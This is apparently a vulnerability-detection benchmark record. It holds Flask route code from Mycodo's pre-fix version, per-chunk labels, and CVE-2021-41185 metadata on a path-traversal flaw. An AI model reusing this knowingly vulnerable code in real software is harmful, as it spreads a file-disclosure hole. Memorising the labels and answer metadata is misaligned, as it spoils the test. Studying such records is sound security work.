'', 204", " elif measure_type in ['input', 'math', 'function', 'output', 'pid']:\n dbcon = InfluxDBClient(\n INFLUXDB_HOST,\n INFLUXDB_PORT,\n INFLUXDB_USER,\n INFLUXDB_PASSWORD,\n INFLUXDB_DATABASE)", " if measure_type in ['input', 'math', 'function', 'output', 'pid']:\n measure = DeviceMeasurements.query.filter(\n DeviceMeasurements.unique_id == measurement_id).first()\n else:\n measure = None", " if not measure:\n return \"Could not find measurement\"", " if measure:\n conversion = Conversion.query.filter(\n Conversion.unique_id == measure.conversion_id).first()\n else:\n conversion = None", " channel, unit, measurement = return_measurement_info(\n measure, conversion)", " if hasattr(measure, 'measurement_type') and measure.measurement_type == 'setpoint':\n setpoint_pid = PID.query.filter(PID.unique_id == measure.device_id).first()\n if setpoint_pid and ',' in setpoint_pid.measurement:\n pid_measurement = setpoint_pid.measurement.split(',')[1]\n setpoint_measurement = DeviceMeasurements.query.filter(\n DeviceMeasurements.unique_id == pid_measurement).first()\n if setpoint_measurement:\n conversion = Conversion.query.filter(\n Conversion.unique_id == setpoint_measurement.conversion_id).first()\n _, unit, measurement = return_measurement_info(setpoint_measurement, conversion)", " try:\n query_str = query_string(\n unit, unique_id,\n measure=measurement,\n channel=channel,\n past_sec=past_seconds)", " if query_str == 1:\n return '', 204", " raw_data = dbcon.query(query_str).raw", " if 'series' in raw_data and raw_data['series']:\n return jsonify(raw_data['series'][0]['values'])\n else:\n return '', 204\n except Exception as e:\n logger.debug(\"URL for 'past_data' raised and error: \"\n \"{err}\".format(err=e))\n return '', 204", "\n@blueprint.route('/generate_thermal_image/<unique_id>/<timestamp>')\n@flask_login.login_required\ndef generate_thermal_image_from_timestamp(unique_id, timestamp):\n \"\"\"Return a file from the note attachment directory\"\"\"\n ts_now = datetime.datetime.now().strftime('%Y-%m-%d_%H-%M-%S')\n camera_path = assure_path_exists(\n os.path.join(PATH_CAMERAS, '{uid}'.format(uid=unique_id)))\n filename = 'Still-{uid}-{ts}.jpg'.format(\n uid=unique_id,\n ts=ts_now).replace(\" \", \"_\")\n save_path = assure_path_exists(os.path.join(camera_path, 'thermal'))\n assure_path_exists(save_path)\n path_file = os.path.join(save_path, filename)", " dbcon = InfluxDBClient(\n INFLUXDB_HOST,\n INFLUXDB_PORT,\n INFLUXDB_USER,\n INFLUXDB_PASSWORD,\n INFLUXDB_DATABASE)", " input_dev = Input.query.filter(Input.unique_id == unique_id).first()\n pixels = []\n success = True", " start = int(int(timestamp) / 1000.0) # Round down\n end = start + 1 # Round up", " start_timestamp = time.strftime('%Y-%m-%dT%H:%M:%S.000000000Z', time.gmtime(start))\n end_timestamp = time.strftime('%Y-%m-%dT%H:%M:%S.000000000Z', time.gmtime(end))", " for each_channel in range(input_dev.channels):\n measurement = 'channel_{chan}'.format(\n chan=each_channel)\n query_str = query_string(measurement, unique_id,\n start_str=start_timestamp,\n end_str=end_timestamp)\n if query_str == 1:\n logger.error('Invalid query string')\n success = False\n else:\n raw_data = dbcon.query(query_str).raw\n if not raw_data or 'series' not in raw_data or not raw_data['series']:\n logger.error('No measurements to export in this time period')\n success = False\n else:\n pixels.append(raw_data['series'][0]['values'][0][1])", " # logger.error(\"generate_thermal_image_from_timestamp: success: {}, pixels: {}\".format(success, pixels))", " if success:\n generate_thermal_image_from_pixels(pixels, 8, 8, path_file)\n return send_file(path_file, mimetype='image/jpeg')\n else:\n return \"Could not generate image\"", "\n@blueprint.route('/export_data/<unique_id>/<measurement_id>/<start_seconds>/<end_seconds>')\n@flask_login.login_required\ndef export_data(unique_id, measurement_id, start_seconds, end_seconds):\n \"\"\"\n Return data from start_seconds to end_seconds from influxdb.\n Used for exporting data.\n \"\"\"\n dbcon = InfluxDBClient(\n INFLUXDB_HOST,\n INFLUXDB_PORT,\n INFLUXDB_USER,\n INFLUXDB_PASSWORD,\n INFLUXDB_DATABASE, timeout=100)", " output = Output.query.filter(Output.unique_id == unique_id).first()\n input_dev = Input.query.filter(Input.unique_id == unique_id).first()\n math = Math.query.filter(Math.unique_id == unique_id).first()", " if output:\n name = output.name\n elif input_dev:\n name = input_dev.name\n elif math:\n name = math.name\n else:\n name = None", " device_measurement = DeviceMeasurements.query.filter(\n DeviceMeasurements.unique_id == measurement_id).first()\n if device_measurement:\n conversion = Conversion.query.filter(\n Conversion.unique_id == device_measurement.conversion_id).first()\n else:\n conversion = None\n channel, unit, measurement = return_measurement_info(\n device_measurement, conversion)", " utc_offset_timedelta = datetime.datetime.utcnow() - datetime.datetime.now()\n start = datetime.datetime.fromtimestamp(float(start_seconds))\n start += utc_offset_timedelta\n start_str = start.strftime('%Y-%m-%dT%H:%M:%S.%fZ')\n end = datetime.datetime.fromtimestamp(float(end_seconds))\n end += utc_offset_timedelta\n end_str = end.strftime('%Y-%m-%dT%H:%M:%S.%fZ')", " query_str = query_string(\n unit, unique_id,\n measure=measurement, channel=channel,\n start_str=start_str, end_str=end_str)\n if query_str == 1:\n flash('Invalid query string', 'error')\n return redirect(url_for('routes_page.page_export'))\n raw_data = dbcon.query(query_str).raw", " if not raw_data or 'series' not in raw_data or not raw_data['series']:\n flash('No measurements to export in this time period', 'error')\n return redirect(url_for('routes_page.page_export'))", " # Generate column names\n col_1 = 'timestamp (UTC)'\n col_2 = '{name} {meas} ({id})'.format(\n name=name, meas=measurement, id=unique_id)\n csv_filename = '{id}_{name}_{meas}.csv'.format(\n id=unique_id, name=name, meas=measurement)\n import csv\n from io import StringIO", " def iter_csv(data):\n \"\"\" Stream CSV file to user for download \"\"\"\n line = StringIO()\n writer = csv.writer(line)\n writer.writerow([col_1, col_2])\n for csv_line in data:\n writer.writerow([\n str(csv_line[0][:-4]).replace('T', ' '),\n csv_line[1]\n ])\n line.seek(0)\n yield line.read()\n line.truncate(0)\n line.seek(0)", " response = Response(iter_csv(raw_data['series'][0]['values']), mimetype='text/csv')\n response.headers['Content-Disposition'] = 'attachment; filename=\"{}\"'.format(csv_filename)\n return response", "\n@blueprint.route('/async/<device_id>/<device_type>/<measurement_id>/<start_seconds>/<end_seconds>')\n@flask_login.login_required\ndef async_data(device_id, device_type, measurement_id, start_seconds, end_seconds):\n \"\"\"\n Return data from start_seconds to end_seconds from influxdb.\n Used for asynchronous graph display of many points (up to millions).\n \"\"\"\n if device_type == 'tag':\n notes_list = []\n tag = NoteTags.query.filter(NoteTags.unique_id == device_id).first()", " start = datetime.datetime.utcfromtimestamp(float(start_seconds))\n if end_seconds == '0':\n end = datetime.datetime.utcnow()\n else:\n end = datetime.datetime.utcfromtimestamp(float(end_seconds))", " notes = Notes.query.filter(\n and_(Notes.date_time >= start, Notes.date_time <= end)).all()\n for each_note in notes:\n if tag.unique_id in each_note.tags.split(','):\n notes_list.append(\n [each_note.date_time.strftime(\"%Y-%m-%dT%H:%M:%S.000000000Z\"), each_note.name, each_note.note])", " if notes_list:\n return jsonify(notes_list)\n else:\n return '', 204", " dbcon = InfluxDBClient(\n INFLUXDB_HOST,\n INFLUXDB_PORT,\n INFLUXDB_USER,\n INFLUXDB_PASSWORD,\n INFLUXDB_DATABASE)", " if device_type in ['input', 'math', 'function', 'output', 'pid']:\n measure = DeviceMeasurements.query.filter(\n DeviceMeasurements.unique_id == measurement_id).first()\n else:\n measure = None", " if not measure:\n return \"Could not find measurement\"", " if measure:\n conversion = Conversion.query.filter(\n Conversion.unique_id == measure.conversion_id).first()\n else:\n conversion = None\n channel, unit, measurement = return_measurement_info(\n measure, conversion)", " # Set the time frame to the past year if start/end not specified\n if start_seconds == '0' and end_seconds == '0':\n # Get how many points there are in the past year\n query_str = query_string(\n unit, device_id,\n measure=measurement,\n channel=channel,\n value='COUNT')", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " count_points = raw_data['series'][0]['values'][0][1]\n # Get the timestamp of the first point in the past year\n query_str = query_string(\n unit, device_id,\n measure=measurement,\n channel=channel,\n limit=1)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " try:\n first_point = raw_data['series'][0]['values'][0][0]\n except:\n return '', 204", " end = datetime.datetime.utcnow()\n end_str = end.strftime('%Y-%m-%dT%H:%M:%S.%fZ')\n # Set the time frame to the past start epoch to now\n elif start_seconds != '0' and end_seconds == '0':\n start = datetime.datetime.utcfromtimestamp(float(start_seconds))\n start_str = start.strftime('%Y-%m-%dT%H:%M:%S.%fZ')\n end = datetime.datetime.utcnow()\n end_str = end.strftime('%Y-%m-%dT%H:%M:%S.%fZ')", " query_str = query_string(\n unit, device_id,\n measure=measurement,\n channel=channel,\n value='COUNT',\n start_str=start_str,\n end_str=end_str)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " try:\n count_points = raw_data['series'][0]['values'][0][1]\n except:\n return '', 204", " # Get the timestamp of the first point in the past year\n query_str = query_string(\n unit, device_id,\n measure=measurement,\n channel=channel,\n start_str=start_str,\n end_str=end_str,\n limit=1)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " try:\n first_point = raw_data['series'][0]['values'][0][0]\n except:\n return '', 204\n else:\n start = datetime.datetime.utcfromtimestamp(float(start_seconds))\n start_str = start.strftime('%Y-%m-%dT%H:%M:%S.%fZ')\n end = datetime.datetime.utcfromtimestamp(float(end_seconds))\n end_str = end.strftime('%Y-%m-%dT%H:%M:%S.%fZ')", " query_str = query_string(\n unit, device_id,\n measure=measurement,\n channel=channel,\n value='COUNT',\n start_str=start_str,\n end_str=end_str)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " try:\n count_points = raw_data['series'][0]['values'][0][1]\n except:\n return '', 204", " # Get the timestamp of the first point in the past year\n query_str = query_string(\n unit, device_id,\n measure=measurement,\n channel=channel,\n start_str=start_str,\n end_str=end_str,\n limit=1)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " try:\n first_point = raw_data['series'][0]['values'][0][0]\n except:\n return '', 204", " start = datetime.datetime.strptime(\n influx_time_str_to_milliseconds(first_point),\n '%Y-%m-%dT%H:%M:%S.%f')\n start_str = start.strftime('%Y-%m-%dT%H:%M:%S.%fZ')", " logger.debug('Count = {}'.format(count_points))\n logger.debug('Start = {}'.format(start))\n logger.debug('End = {}'.format(end))", " # How many seconds between the start and end period\n time_difference_seconds = (end - start).total_seconds()\n logger.debug('Difference seconds = {}'.format(time_difference_seconds))", " # If there are more than 700 points in the time frame, we need to group\n # data points into 700 groups with points averaged in each group.\n if count_points > 700:\n # Average period between input reads\n seconds_per_point = time_difference_seconds / count_points\n logger.debug('Seconds per point = {}'.format(seconds_per_point))", " # How many seconds to group data points in\n group_seconds = int(time_difference_seconds / 700)\n logger.debug('Group seconds = {}'.format(group_seconds))", " try:\n query_str = query_string(\n unit, device_id,\n measure=measurement,\n channel=channel,\n value='MEAN',\n start_str=start_str,\n end_str=end_str,\n group_sec=group_seconds)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " try:\n return jsonify(raw_data['series'][0]['values'])\n except:\n return '', 204\n except Exception as e:\n logger.error(\"URL for 'async_data' raised and error: \"\n \"{err}\".format(err=e))\n return '', 204\n else:\n try:\n query_str = query_string(\n unit, device_id,\n measure=measurement,\n channel=channel,\n start_str=start_str,\n end_str=end_str)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " return jsonify(raw_data['series'][0]['values'])\n except Exception as e:\n logger.error(\"URL for 'async_data' raised and error: \"\n \"{err}\".format(err=e))\n return '', 204", "\n@blueprint.route('/async_usage/<device_id>/<unit>/<channel>/<start_seconds>/<end_seconds>')\n@flask_login.login_required\ndef async_usage_data(device_id, unit, channel, start_seconds, end_seconds):\n \"\"\"\n Return data from start_seconds to end_seconds from influxdb.\n Used for asynchronous energy usage display of many points (up to millions).\n \"\"\"\n dbcon = InfluxDBClient(\n INFLUXDB_HOST,\n INFLUXDB_PORT,\n INFLUXDB_USER,\n INFLUXDB_PASSWORD,\n INFLUXDB_DATABASE)", " # Set the time frame to the past year if start/end not specified\n if start_seconds == '0' and end_seconds == '0':\n # Get how many points there are in the past year\n query_str = query_string(\n unit, device_id,\n channel=channel,\n value='COUNT')", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " count_points = raw_data['series'][0]['values'][0][1]\n # Get the timestamp of the first point in the past year\n query_str = query_string(\n unit, device_id,\n channel=channel,\n limit=1)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " first_point = raw_data['series'][0]['values'][0][0]\n end = datetime.datetime.utcnow()\n end_str = end.strftime('%Y-%m-%dT%H:%M:%S.%fZ')\n # Set the time frame to the past start epoch to now\n elif start_seconds != '0' and end_seconds == '0':\n start = datetime.datetime.utcfromtimestamp(float(start_seconds))\n start_str = start.strftime('%Y-%m-%dT%H:%M:%S.%fZ')\n end = datetime.datetime.utcnow()\n end_str = end.strftime('%Y-%m-%dT%H:%M:%S.%fZ')", " query_str = query_string(\n unit, device_id,\n channel=channel,\n value='COUNT',\n start_str=start_str,\n end_str=end_str)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " count_points = raw_data['series'][0]['values'][0][1]\n # Get the timestamp of the first point in the past year", " query_str = query_string(\n unit, device_id,\n channel=channel,\n start_str=start_str,\n end_str=end_str,\n limit=1)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " first_point = raw_data['series'][0]['values'][0][0]\n else:\n start = datetime.datetime.utcfromtimestamp(float(start_seconds))\n start_str = start.strftime('%Y-%m-%dT%H:%M:%S.%fZ')\n end = datetime.datetime.utcfromtimestamp(float(end_seconds))\n end_str = end.strftime('%Y-%m-%dT%H:%M:%S.%fZ')", " query_str = query_string(\n unit, device_id,\n channel=channel,\n value='COUNT',\n start_str=start_str,\n end_str=end_str)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " count_points = raw_data['series'][0]['values'][0][1]\n # Get the timestamp of the first point in the past year", " query_str = query_string(\n unit, device_id,\n channel=channel,\n start_str=start_str,\n end_str=end_str,\n limit=1)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " first_point = raw_data['series'][0]['values'][0][0]", " start = datetime.datetime.strptime(\n influx_time_str_to_milliseconds(first_point),\n '%Y-%m-%dT%H:%M:%S.%f')\n start_str = start.strftime('%Y-%m-%dT%H:%M:%S.%fZ')", " logger.debug('Count = {}'.format(count_points))\n logger.debug('Start = {}'.format(start))\n logger.debug('End = {}'.format(end))", " # How many seconds between the start and end period\n time_difference_seconds = (end - start).total_seconds()\n logger.debug('Difference seconds = {}'.format(time_difference_seconds))", " # If there are more than 700 points in the time frame, we need to group\n # data points into 700 groups with points averaged in each group.\n if count_points > 700:\n # Average period between input reads\n seconds_per_point = time_difference_seconds / count_points\n logger.debug('Seconds per point = {}'.format(seconds_per_point))", " # How many seconds to group data points in\n group_seconds = int(time_difference_seconds / 700)\n logger.debug('Group seconds = {}'.format(group_seconds))", " try:\n query_str = query_string(\n unit, device_id,\n channel=channel,\n value='MEAN',\n start_str=start_str,\n end_str=end_str,\n group_sec=group_seconds)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " return jsonify(raw_data['series'][0]['values'])\n except Exception as e:\n logger.error(\"URL for 'async_data' raised and error: \"\n \"{err}\".format(err=e))\n return '', 204\n else:\n try:\n query_str = query_string(\n unit, device_id,\n channel=channel,\n start_str=start_str,\n end_str=end_str)", " if query_str == 1:\n return '', 204\n raw_data = dbcon.query(query_str).raw", " return jsonify(raw_data['series'][0]['values'])\n except Exception as e:\n logger.error(\"URL for 'async_usage' raised and error: \"\n \"{err}\".format(err=e))\n return '', 204", "\n@blueprint.route('/output_mod/<output_id>/<channel>/<state>/<output_type>/<amount>')\n@flask_login.login_required\ndef output_mod(output_id, channel, state, output_type, amount):\n \"\"\" Manipulate output (using non-unique ID) \"\"\"\n if not utils_general.user_has_permission('edit_controllers'):\n return 'Insufficient user permissions to manipulate outputs'", " if is_int(channel):\n # if an integer was returned\n output_channel = int(channel)\n else:\n # if a channel ID was returned\n channel_dev = db_retrieve_table(OutputChannel).filter(\n OutputChannel.unique_id == channel).first()\n if channel_dev:\n output_channel = channel_dev.channel\n else:\n return \"Could not determine channel number from channel ID '{}'\".format(channel)", " daemon = DaemonControl()\n if (state in ['on', 'off'] and str_is_float(amount) and\n (\n (output_type in ['sec', 'pwm'] and float(amount) >= 0) or\n output_type == 'vol' or\n output_type == 'value'\n )):\n out_status = daemon.output_on_off(\n output_id,\n state,\n output_type=output_type,\n amount=float(amount),\n output_channel=output_channel)\n if out_status[0]:\n return 'ERROR: {}'.format(out_status[1])\n else:\n return 'SUCCESS: {}'.format(out_status[1])\n else:\n return 'ERROR: unknown parameters: ' \\\n 'output_id: {}, channel: {}, state: {}, output_type: {}, amount: {}'.format(\n output_id, channel, state, output_type, amount)", "\n@blueprint.route('/daemonactive')\n@flask_login.login_required\ndef daemon_active():\n \"\"\"Return 'alive' if the daemon is running\"\"\"\n try:\n control = DaemonControl()\n return control.daemon_status()\n except Exception as e:\n logger.error(\"URL for 'daemon_active' raised and error: \"\n \"{err}\".format(err=e))\n return '0'", "\n@blueprint.route('/systemctl/<action>')\n@flask_login.login_required\ndef computer_command(action):\n \"\"\"Execute one of several commands as root\"\"\"\n if not utils_general.user_has_permission('edit_settings'):\n return redirect(url_for('routes_general.home'))", " try:\n if action not in ['restart', 'shutdown', 'daemon_restart', 'frontend_reload']:\n flash(\"Unrecognized command: {action}\".format(\n action=action), \"success\")\n return redirect('/settings')", " if DOCKER_CONTAINER:\n if action == 'daemon_restart':\n control = DaemonControl()\n control.terminate_daemon()\n flash(gettext(\"Command to restart the daemon sent\"), \"success\")\n elif action == 'frontend_reload':\n subprocess.Popen('docker restart mycodo_flask 2>&1', shell=True)\n flash(gettext(\"Command to reload the frontend sent\"), \"success\")\n else:\n cmd = '{path}/mycodo/scripts/mycodo_wrapper {action} 2>&1'.format(\n path=INSTALL_DIRECTORY, action=action)\n subprocess.Popen(cmd, shell=True)", " if action == 'restart':\n flash(gettext(\"System rebooting in 10 seconds\"), \"success\")\n elif action == 'shutdown':\n flash(gettext(\"System shutting down in 10 seconds\"), \"success\")\n elif action == 'daemon_restart':\n flash(gettext(\"Command to restart the daemon sent\"), \"success\")\n elif action == 'frontend_reload':\n flash(gettext(\"Command to reload the frontend sent\"), \"success\")", " return redirect('/settings')", " except Exception as e:\n logger.error(\"System command '{cmd}' raised and error: \"\n \"{err}\".format(cmd=action, err=e))\n flash(\"System command '{cmd}' raised and error: \"\n \"{err}\".format(cmd=action, err=e), \"error\")\n return redirect(url_for('routes_general.home'))", "\n#\n# PID Dashboard object routes\n#", "def return_point_timestamp(dev_id, unit, period, measurement=None, channel=None):\n dbcon = InfluxDBClient(\n INFLUXDB_HOST,\n INFLUXDB_PORT,\n INFLUXDB_USER,\n INFLUXDB_PASSWORD,\n INFLUXDB_DATABASE)", " query_str = query_string(\n unit,\n dev_id,\n measure=measurement,\n channel=channel,\n value='LAST',\n past_sec=period)\n if query_str == 1:\n return [None, None]", " try:\n raw_data = dbcon.query(query_str).raw\n number = len(raw_data['series'][0]['values'])\n time_raw = raw_data['series'][0]['values'][number - 1][0]\n value = raw_data['series'][0]['values'][number - 1][1]\n value = '{:.3f}'.format(float(value))\n # Convert date-time to epoch (potential bottleneck for data)\n dt = date_parse(time_raw)\n timestamp = calendar.timegm(dt.timetuple()) * 1000\n return [timestamp, value]\n except KeyError:\n return [None, None]\n except Exception:\n return [None, None]", "\n@blueprint.route('/last_pid/<pid_id>/<input_period>')\n@flask_login.login_required\ndef last_data_pid(pid_id, input_period):\n \"\"\"Return the most recent time and value from influxdb\"\"\"\n if not str_is_float(input_period):\n return '', 204", " try:\n pid = PID.query.filter(PID.unique_id == pid_id).first()", " if len(pid.measurement.split(',')) == 2:\n device_id = pid.measurement.split(',')[0]\n measurement_id = pid.measurement.split(',')[1]\n else:\n device_id = None\n measurement_id = None", " actual_measurement = DeviceMeasurements.query.filter(\n DeviceMeasurements.unique_id == measurement_id).first()\n if actual_measurement:\n actual_conversion = Conversion.query.filter(\n Conversion.unique_id == actual_measurement.conversion_id).first()\n else:\n actual_conversion = None", " (actual_channel,\n actual_unit,\n actual_measurement) = return_measurement_info(\n actual_measurement, actual_conversion)", " setpoint_unit = None\n if pid and ',' in pid.measurement:\n pid_measurement = pid.measurement.split(',')[1]\n setpoint_measurement = DeviceMeasurements.query.filter(\n DeviceMeasurements.unique_id == pid_measurement).first()\n if setpoint_measurement:\n conversion = Conversion.query.filter(\n Conversion.unique_id == setpoint_measurement.conversion_id).first()\n _, setpoint_unit, _ = return_measurement_info(setpoint_measurement, conversion)", " p_value = return_point_timestamp(\n pid_id, 'pid_value', input_period, measurement='pid_p_value')\n i_value = return_point_timestamp(\n pid_id, 'pid_value', input_period, measurement='pid_i_value')\n d_value = return_point_timestamp(\n pid_id, 'pid_value', input_period, measurement='pid_d_value')\n if None not in (p_value[1], i_value[1], d_value[1]):\n pid_value = [p_value[0], '{:.3f}'.format(float(p_value[1]) + float(i_value[1]) + float(d_value[1]))]\n else:\n pid_value = None", " setpoint_band = None\n if pid.band:\n try:\n daemon = DaemonControl()\n setpoint_band = daemon.pid_get(pid.unique_id, 'setpoint_band')\n except:\n logger.debug(\"Couldn't get setpoint\")", " live_data = {\n 'activated': pid.is_activated,\n 'paused': pid.is_paused,\n 'held': pid.is_held,\n 'setpoint': return_point_timestamp(\n pid_id, setpoint_unit, input_period, channel=0),\n 'setpoint_band': setpoint_band,\n 'pid_p_value': p_value,\n 'pid_i_value': i_value,\n 'pid_d_value': d_value,\n 'pid_pid_value': pid_value,\n 'duration_time': return_point_timestamp(\n pid_id, 's', input_period, measurement='duration_time'),\n 'duty_cycle': return_point_timestamp(\n pid_id, 'percent', input_period, measurement='duty_cycle'),\n 'actual': return_point_timestamp(\n device_id,\n actual_unit,\n input_period,\n measurement=actual_measurement,\n channel=actual_channel)\n }\n return jsonify(live_data)\n except KeyError:\n logger.debug(\"No Data returned form influxdb\")\n return '', 204\n except Exception as e:\n logger.exception(\"URL for 'last_pid' raised and error: \"\n \"{err}\".format(err=e))\n return '', 204", "\n@blueprint.route('/pid_mod_unique_id/<unique_id>/<state>')\n@flask_login.login_required\ndef pid_mod_unique_id(unique_id, state):\n \"\"\" Manipulate output (using unique ID) \"\"\"\n if not utils_general.user_has_permission('edit_controllers'):\n return 'Insufficient user permissions to manipulate PID'", " pid = PID.query.filter(PID.unique_id == unique_id).first()", " daemon = DaemonControl()\n if state == 'activate_pid':\n pid.is_activated = True\n pid.save()\n _, return_str = daemon.controller_activate(pid.unique_id)\n return return_str\n elif state == 'deactivate_pid':\n pid.is_activated = False\n pid.is_paused = False\n pid.is_held = False\n pid.save()\n _, return_str = daemon.controller_deactivate(pid.unique_id)\n return return_str\n elif state == 'pause_pid':\n pid.is_paused = True\n pid.save()\n if pid.is_activated:\n return_str = daemon.pid_pause(pid.unique_id)\n else:\n return_str = \"PID Paused (Note: PID is not currently active)\"\n return return_str\n elif state == 'hold_pid':\n pid.is_held = True\n pid.save()\n if pid.is_activated:\n return_str = daemon.pid_hold(pid.unique_id)\n else:\n return_str = \"PID Held (Note: PID is not currently active)\"\n return return_str\n elif state == 'resume_pid':\n pid.is_held = False\n pid.is_paused = False\n pid.save()\n if pid.is_activated:\n return_str = daemon.pid_resume(pid.unique_id)\n else:\n return_str = \"PID Resumed (Note: PID is not currently active)\"\n return return_str\n elif 'set_setpoint_pid' in state:\n pid.setpoint = state.split('|')[1]\n pid.save()\n if pid.is_activated:\n return_str = daemon.pid_set(pid.unique_id, 'setpoint', float(state.split('|')[1]))\n else:\n return_str = \"PID Setpoint changed (Note: PID is not currently active)\"\n return return_str", "\n# import flask_login\n# from mycodo.mycodo_flask.api import api\n# @blueprint.route('/export_swagger')\n# @flask_login.login_required\n# def export_swagger():\n# \"\"\"Export swagger JSON to swagger.json file\"\"\"\n# from mycodo.mycodo_flask.utils import utils_general\n# import json\n# if not utils_general.user_has_permission('view_settings'):\n# return 'You do not have permission to access this.', 401\n# with open(\"/home/pi/swagger.json\", \"w\") as text_file:\n# text_file.write(json.dumps(api.__schema__, indent=2))\n# return 'success'" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [9, 153], "buggy_code_start_loc": [1, 120], "filenames": ["CHANGELOG.md", "mycodo/mycodo_flask/routes_general.py"], "fixing_code_end_loc": [13, 155], "fixing_code_start_loc": [1, 120], "message": "Mycodo is an environmental monitoring and regulation system. An exploit in versions prior to 8.12.7 allows anyone with access to endpoints to download files outside the intended directory. A patch has been applied and a release made. Users should upgrade to version 8.12.7. As a workaround, users may manually apply the changes from the fix commit.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:mycodo_project:mycodo:*:*:*:*:*:*:*:*", "matchCriteriaId": "C8B4BD3A-4B47-41A4-84D2-B9E703773D53", "versionEndExcluding": "8.12.7", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Mycodo is an environmental monitoring and regulation system. An exploit in versions prior to 8.12.7 allows anyone with access to endpoints to download files outside the intended directory. A patch has been applied and a release made. Users should upgrade to version 8.12.7. As a workaround, users may manually apply the changes from the fix commit."}, {"lang": "es", "value": "Mycodo es un sistema de monitorizaci\u00f3n y regulaci\u00f3n ambiental. Una explotaci\u00f3n en versiones anteriores a 8.12.7, permite a cualquiera con acceso a los endpoints descargar archivos fuera del directorio previsto. Se ha aplicado un parche y se ha realizado un lanzamiento. Los usuarios deben actualizar a la versi\u00f3n 8.12.7. Como soluci\u00f3n, los usuarios pueden aplicar manualmente los cambios del commit de correcci\u00f3n"}], "evaluatorComment": null, "id": "CVE-2021-41185", "lastModified": "2021-10-27T19:33:23.407", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 4.0, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-10-26T15:15:10.533", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/kizniche/Mycodo/commit/23ac5dd422029c2b6ae1701a3599b6d41b66a6a9"}, {"source": "security-advisories@github.com", "tags": ["Issue Tracking", "Third Party Advisory"], "url": "https://github.com/kizniche/Mycodo/issues/1105"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/kizniche/Mycodo/releases/tag/v8.12.7"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/kizniche/Mycodo/security/advisories/GHSA-252r-94ph-m229"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-22"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/kizniche/Mycodo/commit/23ac5dd422029c2b6ae1701a3599b6d41b66a6a9"}, "type": "CWE-22"}
151
Determine whether the {function_name} code is vulnerable or not.
